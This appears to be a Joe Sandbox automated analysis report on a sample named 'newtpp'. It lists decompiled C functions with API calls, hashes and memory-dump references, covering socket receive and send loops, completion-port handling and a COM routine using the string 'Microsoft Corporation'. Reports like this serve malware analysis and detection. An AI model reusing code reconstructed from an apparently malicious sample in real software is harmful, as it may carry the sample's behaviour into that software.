InterlockedExchange.KERNEL32(004143B4,0000003D), ref: 0040973A

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: File$BuffersCloseCreateExchangeFlushHandleInterlockedWrite
String ID:
API String ID: 442028454-0
Opcode ID: ffe5f978a5d75daa98a19236d1bc63fd9fce486f64e544f4dc3e6b78cafa0eaa
Instruction ID: 09bb8ad8a153661e876b0a8aa7cfca9b830c2f60f8f6b2a0515d583d03b87c58
Opcode Fuzzy Hash: ffe5f978a5d75daa98a19236d1bc63fd9fce486f64e544f4dc3e6b78cafa0eaa
Instruction Fuzzy Hash: 11314CB8A00208EFCB14DF94D845F9EB7B1BB48300F20C669E515A7391C775AE51CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00407570 Relevance: 7.5, APIs: 5, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E00407570(signed int __edx, signed int _a4, signed int _a8, signed int _a12, signed int _a16, signed int _a20, signed int _a24) {
				signed int _v8;
				signed int _v12;

				asm("cdq");
				L0040EDFE();
				asm("cdq");
				L0040EDFE();
				asm("cdq");
				L0040EDFE();
				asm("cdq");
				L0040EDFE();
				asm("cdq");
				L0040EDFE();
				asm("cdq");
				_v12 = _a4 | _a8 | _a12 | _a16 | _a20 | _a24;
				_v8 = __edx | __edx | __edx | __edx | __edx | __edx;
				return _v12;
			}

0x0040757b
0x0040757e
0x0040758a
0x0040758d
0x00407599
0x0040759c
0x004075a8
0x004075ab
0x004075b7
0x004075ba
0x004075c6
0x004075cb
0x004075ce
0x004075dc

APIs

_allshl.NTDLL ref: 0040757E
_allshl.NTDLL ref: 0040758D
_allshl.NTDLL ref: 0040759C
_allshl.NTDLL ref: 004075AB
_allshl.NTDLL ref: 004075BA

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: _allshl
String ID:
API String ID: 435966717-0
Opcode ID: d51c0cfb7cecbe22f3a005448584aa28a11641046ad401d5bf26070a09b22ed4
Instruction ID: a1b14869e86cb328d4ae7b27d3c95eded15a07d37ad0fd28e3103b9823fe5a09
Opcode Fuzzy Hash: d51c0cfb7cecbe22f3a005448584aa28a11641046ad401d5bf26070a09b22ed4
Instruction Fuzzy Hash: C4F03172901429AB9710EEEF84824CAFBE69F88364B118576FC18E3270E9709D1146F2

Uniqueness

Uniqueness Score: -1.00%

Function 0040DD00 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040DD00(intOrPtr* __ebx, void* __edi) {
				void* _t8;
				intOrPtr* _t18;
				intOrPtr _t23;
				intOrPtr _t26;
				void* _t28;

				_t18 = __ebx;
				if(__ebx != 0 &&  *__ebx == 0x756470) {
					SetEvent( *(__ebx + 0x10));
					WaitForSingleObject( *(__ebx + 0x14), 0xffffffff);
					CloseHandle( *(__ebx + 0x14));
					_t26 =  *((intOrPtr*)(__ebx + 0x20));
					if(_t26 == 0) {
						L6:
						E00409600( *((intOrPtr*)(_t18 + 8)));
						return E00408C70(_t18);
					}
					do {
						E00408C70( *((intOrPtr*)(_t26 + 0x18)));
						_t23 =  *((intOrPtr*)(_t26 + 0x1c));
						E00408C70(_t26);
						_t28 = _t28 + 8;
						_t26 = _t23;
					} while (_t23 != 0);
					goto L6;
				}
				return _t8;
			}

0x0040dd00
0x0040dd02
0x0040dd11
0x0040dd1d
0x0040dd27
0x0040dd2d
0x0040dd32
0x0040dd51
0x0040dd55
0x00000000
0x0040dd63
0x0040dd35
0x0040dd39
0x0040dd3e
0x0040dd42
0x0040dd47
0x0040dd4a
0x0040dd4c
0x00000000
0x0040dd50
0x0040dd64

APIs

SetEvent.KERNEL32(?,?,0040DDF5,?,?,0040BF1E,00000000), ref: 0040DD11
WaitForSingleObject.KERNEL32(?,000000FF,?,0040DDF5,?,?,0040BF1E,00000000), ref: 0040DD1D
CloseHandle.KERNEL32(?,?,0040DDF5,?,?,0040BF1E,00000000), ref: 0040DD27

Part of subcall function 00408C70: HeapFree.KERNEL32(00000000,00000000,00401192,?,00401192,?), ref: 00408CCB

Strings

pdu, xrefs: 0040DD04

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: CloseEventFreeHandleHeapObjectSingleWait
String ID: pdu
API String ID: 309973729-2320407122
Opcode ID: ec457a0ef5b77bc146b0fe158738aa773204c9d46a9fd8b8c2a6535aafe8bc7d
Instruction ID: 47894c430adc079fffee70a5773b5e3dad97f275ab1eff5073097a11c037a3ac
Opcode Fuzzy Hash: ec457a0ef5b77bc146b0fe158738aa773204c9d46a9fd8b8c2a6535aafe8bc7d
Instruction Fuzzy Hash: 72F0C872804210ABCB20AFA5EC84D5777785F45320304466EFD4467396CA38DC45C7B8

Uniqueness

Uniqueness Score: -1.00%

Function 00404BD0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404BD0(WCHAR* _a4) {
				int _v8;
				short _v1052;
				intOrPtr _v1056;

				_v8 = GetDriveTypeW(_a4);
				_v1056 = _v8;
				if(_v1056 >= 2) {
					if(_v1056 <= 3 || _v1056 == 6) {
						if(QueryDosDeviceW(_a4,  &_v1052, 0x208) != 0 && StrCmpNW( &_v1052, L"\\??\\", 4) == 0) {
							_v8 = 1;
						}
					}
				}
				return _v8;
			}

0x00404be3
0x00404be9
0x00404bf6
0x00404bff
0x00404c24
0x00404c3e
0x00404c3e
0x00404c24
0x00404bff
0x00404c4b

APIs

GetDriveTypeW.KERNEL32(00404C8F), ref: 00404BDD
QueryDosDeviceW.KERNEL32(00404C8F,?,00000208), ref: 00404C1C
StrCmpNW.SHLWAPI(?,\??\,00000004), ref: 00404C34

Strings

\??\, xrefs: 00404C28

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: DeviceDriveQueryType
String ID: \??\
API String ID: 1681518211-3047946824
Opcode ID: 84def6f5971ed18c5027915d3437ea3a00eaa7db189a83ce85c670b15ed75c6e
Instruction ID: 6661d798698d2c2b86e5031d8900814977fd28410c715a717113d467a9626b5b
Opcode Fuzzy Hash: 84def6f5971ed18c5027915d3437ea3a00eaa7db189a83ce85c670b15ed75c6e
Instruction Fuzzy Hash: 26014FB494520CEBDF64CF95CE48AD977B4AB84701F0081BAAB05A7280D6789EC5CF9C

Uniqueness

Uniqueness Score: -1.00%

Function 0040DAD0 Relevance: 6.1, APIs: 4, Instructions: 84
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E0040DAD0(char* __edx, intOrPtr _a4) {
				short _v18;
				short _v22;
				short _v26;
				short _v28;
				short _v30;
				char _v32;
				char _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				char _v56;
				intOrPtr _v68;
				char* _t23;
				short _t26;
				long _t29;
				short _t34;
				intOrPtr _t37;
				intOrPtr _t43;
				long _t47;
				signed int _t48;
				void* _t50;

				_t40 = __edx;
				_t50 = (_t48 & 0xfffffff8) - 0x1c;
				_t34 = 0;
				_t43 = _a4;
				_v28 = 0;
				do {
					_t23 =  &_v32;
					_v32 = 0;
					__imp__#10( *(_t43 + 8), 0x4004667f, _t23);
					if(_t23 == 0xffffffff) {
						break;
					}
					_t37 = _v44;
					if(_t37 != 0) {
						if(_t34 == 0 || _v40 < _t37) {
							_v40 = _t37;
							_t26 = E00408B60(_t37, _t40, _t34, _t37);
							_t37 = _v44;
							_t50 = _t50 + 8;
							_t34 = _t26;
						}
						_v30 = 0;
						_v26 = 0;
						_v22 = 0;
						_v18 = 0;
						_t29 =  *(_t43 + 8);
						_v32 = 0;
						_t40 =  &_v32;
						_v36 = 0x10;
						__imp__#17(_t29, _t34, _t37, 0,  &_v32,  &_v36);
						_t47 = _t29;
						if(_t47 != 0xffffffff && _t47 != 0) {
							InterlockedExchangeAdd(_t43 + 0x18, _t47);
							_t40 =  &_v56;
							E0040D9A0(_t43, _t34, _t47, _v68,  &_v56);
							_t50 = _t50 + 0x14;
						}
					}
				} while (WaitForSingleObject( *(_t43 + 0x10), 1) == 0x102);
				return E00408C70(_t34);
			}

0x0040dad0
0x0040dad6
0x0040dadb
0x0040dade
0x0040dae1
0x0040dae5
0x0040dae8
0x0040daf3
0x0040dafb
0x0040db04
0x00000000
0x00000000
0x0040db0a
0x0040db10
0x0040db18
0x0040db22
0x0040db26
0x0040db2b
0x0040db2f
0x0040db32
0x0040db32
0x0040db38
0x0040db3c
0x0040db40
0x0040db44
0x0040db4e
0x0040db51
0x0040db56
0x0040db60
0x0040db68
0x0040db6e
0x0040db73
0x0040db7e
0x0040db88
0x0040db91
0x0040db96
0x0040db96
0x0040db73
0x0040dba5
0x0040dbbf

APIs

ioctlsocket.WS2_32 ref: 0040DAFB
recvfrom.WS2_32 ref: 0040DB68
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040DB7E
WaitForSingleObject.KERNEL32(?,00000001), ref: 0040DB9F

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: ExchangeInterlockedObjectSingleWaitioctlsocketrecvfrom
String ID:
API String ID: 3980219359-0
Opcode ID: 42d21b16754e23747dafd69a251c4984d532d74facc10c73496740973b16efae
Instruction ID: 93b40cc26d049a7996018c96e8ad19021b123b172151b20c2622c6b09396bf40
Opcode Fuzzy Hash: 42d21b16754e23747dafd69a251c4984d532d74facc10c73496740973b16efae
Instruction Fuzzy Hash: 33216FB1904305AFD314DF65DC84A6BB7E8EF84314F004A3EF459A2291E774A9488BAA

Uniqueness

Uniqueness Score: -1.00%

Function 0040EA30 Relevance: 6.1, APIs: 4, Instructions: 73
networkCOMMON

Download Yara Rule

C-Code - Quality: 29%

			E0040EA30(char _a4) {
				long _v4;
				struct _OVERLAPPED* _v8;
				long _v12;
				void* __ebx;
				signed int _t31;
				signed int _t32;
				signed int _t36;
				struct _OVERLAPPED* _t38;
				long _t43;
				char _t51;
				struct _OVERLAPPED* _t52;
				long* _t54;

				_t54 =  &_v12;
				_t51 = _a4;
				_t52 = 0;
				_v4 = 0;
				_v12 = 0;
				_v8 = 0;
				_t31 = GetQueuedCompletionStatus( *(_t51 + 8),  &_v4,  &_v12,  &_v8, 0xffffffff);
				_t43 = _v12;
				_t32 = _t31 & 0xffffff00 | _t31 != 0x00000000;
				if(_t43 == 0) {
					return _t32;
				}
				do {
					if(_t32 == 0) {
						_t38 =  *((intOrPtr*)(_t43 + 0x260));
						__imp__WSAGetOverlappedResult(_t38, _v8,  &_v4, 0,  &_a4);
						if(_t38 == 0) {
							__imp__#111();
							_t52 = _t38;
						}
					}
					_push(_t52);
					E0040E840(_v8, _v4, _v12);
					_t54 =  &(_t54[1]);
					_t52 = 0;
					_v4 = 0;
					_v12 = 0;
					_v8 = 0;
					_t36 = GetQueuedCompletionStatus( *(_t51 + 8),  &_v4,  &_v12,  &_v8, 0xffffffff);
					_t43 = _v12;
					_t32 = _t36 & 0xffffff00 | _t36 != 0x00000000;
				} while (_t43 != 0);
				return _t32;
			}

0x0040ea30
0x0040ea3c
0x0040ea53
0x0040ea57
0x0040ea5b
0x0040ea5f
0x0040ea63
0x0040ea65
0x0040ea6b
0x0040ea70
0x0040eaef
0x0040eaef
0x0040ea73
0x0040ea75
0x0040ea87
0x0040ea8f
0x0040ea97
0x0040ea99
0x0040ea9f
0x0040ea9f
0x0040ea97
0x0040eaad
0x0040eaae
0x0040eab3
0x0040eac9
0x0040eacd
0x0040ead1
0x0040ead5
0x0040ead9
0x0040eadb
0x0040eae1
0x0040eae4
0x00000000

APIs

GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 0040EA63
WSAGetOverlappedResult.WS2_32(?,?,?,00000000,?), ref: 0040EA8F
WSAGetLastError.WS2_32 ref: 0040EA99
GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 0040EAD9

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: CompletionQueuedStatus$ErrorLastOverlappedResult
String ID:
API String ID: 2074799992-0
Opcode ID: da4c304c9c1be7b6ec673d01c7b8ed459bae1c4d061c2b26b3558c89e2bae2e2
Instruction ID: 57984d4194687ad85c3307d42481ebd1fe789462df0af38e0fad0134068e6b44
Opcode Fuzzy Hash: da4c304c9c1be7b6ec673d01c7b8ed459bae1c4d061c2b26b3558c89e2bae2e2
Instruction Fuzzy Hash: 4C213EB15083119BC600DF55D880D6BB7E8BFDCB64F044A2EF598A3250D734EA49CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 0040E730 Relevance: 6.1, APIs: 4, Instructions: 59networksleepCOMMON

Download Yara Rule

APIs

WSARecv.WS2_32(?,?,00000001,?,?,?,00000000), ref: 0040E768
WSAGetLastError.WS2_32(?,?,0040EC84), ref: 0040E770
Sleep.KERNEL32(00000001,?,?,0040EC84), ref: 0040E786
WSARecv.WS2_32(?,?,00000001,?,?,?,00000000), ref: 0040E7AC

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: Recv$ErrorLastSleep
String ID:
API String ID: 3668019968-0
Opcode ID: c27d7355d997e997ad15a14d69b16d301b2f1f4b418a8c27a866cefb6ec18630
Instruction ID: ce078963949e4c85844abf3da7583f675a37e97f6c8ed4734d1f7ba0ccbfa151
Opcode Fuzzy Hash: c27d7355d997e997ad15a14d69b16d301b2f1f4b418a8c27a866cefb6ec18630
Instruction Fuzzy Hash: C211AD76104305AFD310CF65EC84EEBB7ECEB88700F40492AF945D3280E679E94997B2

Uniqueness

Uniqueness Score: -1.00%

Function 0040E5C0 Relevance: 6.0, APIs: 4, Instructions: 49networksleepCOMMON

Download Yara Rule

APIs

WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 0040E5EC
WSAGetLastError.WS2_32 ref: 0040E5F2
Sleep.KERNEL32(00000001), ref: 0040E608
WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 0040E62A

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: Send$ErrorLastSleep
String ID:
API String ID: 2121970615-0
Opcode ID: 92b9ff23b28bc40c6e9e710034151e6c318f4b9486cff39ba22ee0894646fa3f
Instruction ID: 3e3dd8552cbe75fe5ae1c554dac2643b1da2c24a2dcdc53f0862cdb527b38f0e
Opcode Fuzzy Hash: 92b9ff23b28bc40c6e9e710034151e6c318f4b9486cff39ba22ee0894646fa3f
Instruction Fuzzy Hash: B40162712443056FE730CE96DC88F9B77ACEBC8711F40882AF608D61C0C7B5A9469B79

Uniqueness

Uniqueness Score: -1.00%

Function 0040E280 Relevance: 6.0, APIs: 4, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E280(void* __esi) {
				intOrPtr _t13;
				intOrPtr _t19;
				struct _CRITICAL_SECTION* _t21;
				void* _t22;
				intOrPtr _t23;
				void* _t24;

				_t22 = __esi;
				_t23 =  *((intOrPtr*)(_t24 + 0xc));
				_t21 = _t23 + 0x244;
				EnterCriticalSection(_t21);
				if(__esi == 0) {
					L9:
					LeaveCriticalSection(_t21);
					return 1;
				} else {
					if(InterlockedExchangeAdd(__esi + 0x14, 0) == 0) {
						_t13 =  *((intOrPtr*)(__esi + 0x38));
						_t19 =  *((intOrPtr*)(__esi + 0x34));
						if(_t13 != 0) {
							 *((intOrPtr*)(_t13 + 0x34)) = _t19;
						}
						if(_t19 == 0) {
							 *((intOrPtr*)(_t23 + 0x25c)) = _t13;
						} else {
							 *((intOrPtr*)(_t19 + 0x38)) = _t13;
						}
						E00408C70( *((intOrPtr*)(_t22 + 0x2c)));
						E00408C70(_t22);
						goto L9;
					} else {
						LeaveCriticalSection(_t21);
						return 0;
					}
				}
			}

0x0040e280
0x0040e282
0x0040e287
0x0040e290
0x0040e298
0x0040e2e7
0x0040e2e8
0x0040e2f3
0x0040e29a
0x0040e2a8
0x0040e2b9
0x0040e2bc
0x0040e2c1
0x0040e2c3
0x0040e2c3
0x0040e2c8
0x0040e2cf
0x0040e2ca
0x0040e2ca
0x0040e2ca
0x0040e2d9
0x0040e2df
0x00000000
0x0040e2aa
0x0040e2ad
0x0040e2b8
0x0040e2b8
0x0040e2a8

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,0040E34C,?,?), ref: 0040E290
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040E2A0
LeaveCriticalSection.KERNEL32(?,?,?,0040E34C,?,?), ref: 0040E2AD
LeaveCriticalSection.KERNEL32(?,?,?,0040E34C,?,?), ref: 0040E2E8

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$EnterExchangeInterlocked
String ID:
API String ID: 2223660684-0
Opcode ID: e7775c6e724d18b6b16e4560ed2e445d19ec959f5a48ac8fdc33ada78c93d50a
Instruction ID: e6ac6c1a31680b607f42abd4f6290106e839e9b4de79647b68f4cbd1092355c7
Opcode Fuzzy Hash: e7775c6e724d18b6b16e4560ed2e445d19ec959f5a48ac8fdc33ada78c93d50a
Instruction Fuzzy Hash: 4001DF35242204AFC3209F63ED44ADB73ACAB85B21B00483EE946A3681CB39E441CB38

Uniqueness

Uniqueness Score: -1.00%

Function 0040BDD0 Relevance: 6.0, APIs: 4, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040BDD0(intOrPtr* _a4) {
				intOrPtr* _v8;
				signed int _v12;
				void* _t20;

				if(_a4 != 0) {
					_v8 = _a4;
					EnterCriticalSection(_v8 + 4);
					_v12 = 0;
					while(_v12 <  *_v8) {
						_t11 = _v8 + 0x1c; // 0xfe5ae850
						CloseHandle( *( *_t11 + _v12 * 4));
						_v12 = _v12 + 1;
					}
					LeaveCriticalSection(_v8 + 4);
					DeleteCriticalSection(_v8 + 4);
					_t18 = _v8 + 0x1c; // 0xfe5ae850
					E00408C70( *_t18);
					return E00408C70(_a4);
				}
				return _t20;
			}

0x0040bdda
0x0040bddf
0x0040bde9
0x0040bdef
0x0040be01
0x0040be0e
0x0040be18
0x0040bdfe
0x0040bdfe
0x0040be27
0x0040be34
0x0040be3d
0x0040be41
0x00000000
0x0040be52
0x0040be58

APIs

EnterCriticalSection.KERNEL32(0040EC80), ref: 0040BDE9
CloseHandle.KERNEL32(0040EC84), ref: 0040BE18
LeaveCriticalSection.KERNEL32(0040EC80), ref: 0040BE27
DeleteCriticalSection.KERNEL32(0040EC80), ref: 0040BE34

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: CriticalSection$CloseDeleteEnterHandleLeave
String ID:
API String ID: 3102160386-0
Opcode ID: d585c410c8feea3006216bdaf8938572b99092e330cb370cdf972aaff2801c2a
Instruction ID: b4a8df68a5ba6ddb4f07b24493b5635e0034f74153efd53aa39cf24915a517ea
Opcode Fuzzy Hash: d585c410c8feea3006216bdaf8938572b99092e330cb370cdf972aaff2801c2a
Instruction Fuzzy Hash: EF111E74900208EBDB04DF94D984A9DB7B5FF45309F2081A9E90667341DB35EE90DB99

Uniqueness

Uniqueness Score: -1.00%

Function 00405910 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 238
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E00405910(intOrPtr _a4) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				intOrPtr _v20;
				void* _v24;
				intOrPtr* _v28;
				void* _v32;
				short _v36;
				char _v40;
				intOrPtr _t95;
				intOrPtr _t110;
				void* _t118;
				void* _t199;
				void* _t200;

				_v28 = 0;
				_v32 = 0;
				_v16 = 0;
				_v12 = 0;
				_v24 = 0;
				_v8 = 0;
				_v20 = 0;
				while(1) {
					_t95 = E004058C0(0x4120d4, 0x4120e4);
					_t200 = _t199 + 8;
					_v28 = _t95;
					if(_v28 == 0) {
						break;
					}
					_push( &_v32);
					_push(_v28);
					if( *((intOrPtr*)( *((intOrPtr*)( *_v28 + 0x1c))))() == 0) {
						_push( &_v16);
						_push(_v32);
						if( *((intOrPtr*)( *((intOrPtr*)( *_v32 + 0x1c))))() == 0) {
							_push( &_v36);
							_push(_v16);
							if( *((intOrPtr*)( *((intOrPtr*)( *_v16 + 0x20))))() == 0) {
								if(_v36 == 0xffffffff) {
									_push( &_v12);
									_push(_v16);
									if( *((intOrPtr*)( *((intOrPtr*)( *_v16 + 0x50))))() == 0) {
										_push( &_v24);
										_push(_a4);
										_push(_v12);
										if( *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x28))))() != 0) {
											_t110 = E004058C0(0x4120f4, 0x412104);
											_t199 = _t200 + 8;
											_v24 = _t110;
											if(_v24 != 0) {
												__imp__#2(L"Microsoft Corporation");
												_v8 = _t110;
												if(_v8 != 0) {
													_push(_v8);
													_push(_v24);
													if( *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x20))))() == 0) {
														_push(_a4);
														_push(_v24);
														if( *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x28))))() == 0) {
															_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x38))))(_v24, 0);
															if(_t118 == 0) {
																 *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x20))))(_v12, _v24);
																_t118 = 0;
																if(0 != 0) {
																	continue;
																}
																L34:
																if(_v20 != 0) {
																	_t118 = E00408C70(_v20);
																}
																if(_v8 != 0) {
																	__imp__#6(_v8);
																}
																if(_v24 != 0) {
																	_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 8))))(_v24);
																}
																if(_v12 != 0) {
																	_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v12 + 8))))(_v12);
																}
																if(_v16 != 0) {
																	_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v16 + 8))))(_v16);
																}
																if(_v32 != 0) {
																	_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v32 + 8))))(_v32);
																}
																if(_v28 == 0) {
																	return _t118;
																} else {
																	return  *((intOrPtr*)( *((intOrPtr*)( *_v28 + 8))))(_v28);
																}
															}
															goto L34;
														}
														goto L34;
													}
													goto L34;
												}
												goto L34;
											}
											goto L34;
										}
										_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x44))))(_v24,  &_v36);
										if(_t118 == 0) {
											if(_v36 != 0xffffffff) {
												 *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x48))))(_v24, 0xffffffff);
												_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x38))))(_v24, 0);
											} else {
												_v40 = 0;
												_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x34))))(_v24,  &_v40);
												if(_t118 == 0 && _v40 != 0) {
													_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x38))))(_v24, 0);
												}
											}
										}
										goto L34;
									}
									goto L34;
								}
								goto L34;
							}
							goto L34;
						}
						goto L34;
					}
					goto L34;
				}
				goto L34;
			}

0x00405916
0x0040591d
0x00405924
0x0040592b
0x00405932
0x00405939
0x00405940
0x00405947
0x00405951
0x00405956
0x00405959
0x00405960
0x00000000
0x00000000
0x0040596a
0x00405973
0x0040597b
0x00405985
0x0040598e
0x00405996
0x004059a0
0x004059a9
0x004059b1
0x004059bf
0x004059c9
0x004059d2
0x004059da
0x004059e4
0x004059e8
0x004059f1
0x004059f9
0x00405a83
0x00405a88
0x00405a8b
0x00405a92
0x00405a9b
0x00405aa1
0x00405aa8
0x00405aaf
0x00405ab8
0x00405ac0
0x00405ac7
0x00405ad0
0x00405ad8
0x00405aea
0x00405aee
0x00405b02
0x00405b04
0x00405b06
0x00000000
0x00000000
0x00405b0c
0x00405b10
0x00405b16
0x00405b1b
0x00405b22
0x00405b28
0x00405b28
0x00405b32
0x00405b40
0x00405b40
0x00405b46
0x00405b54
0x00405b54
0x00405b5a
0x00405b68
0x00405b68
0x00405b6e
0x00405b7c
0x00405b7c
0x00405b82
0x00405b95
0x00405b84
0x00000000
0x00405b90
0x00405b82
0x00000000
0x00405af0
0x00000000
0x00405ada
0x00000000
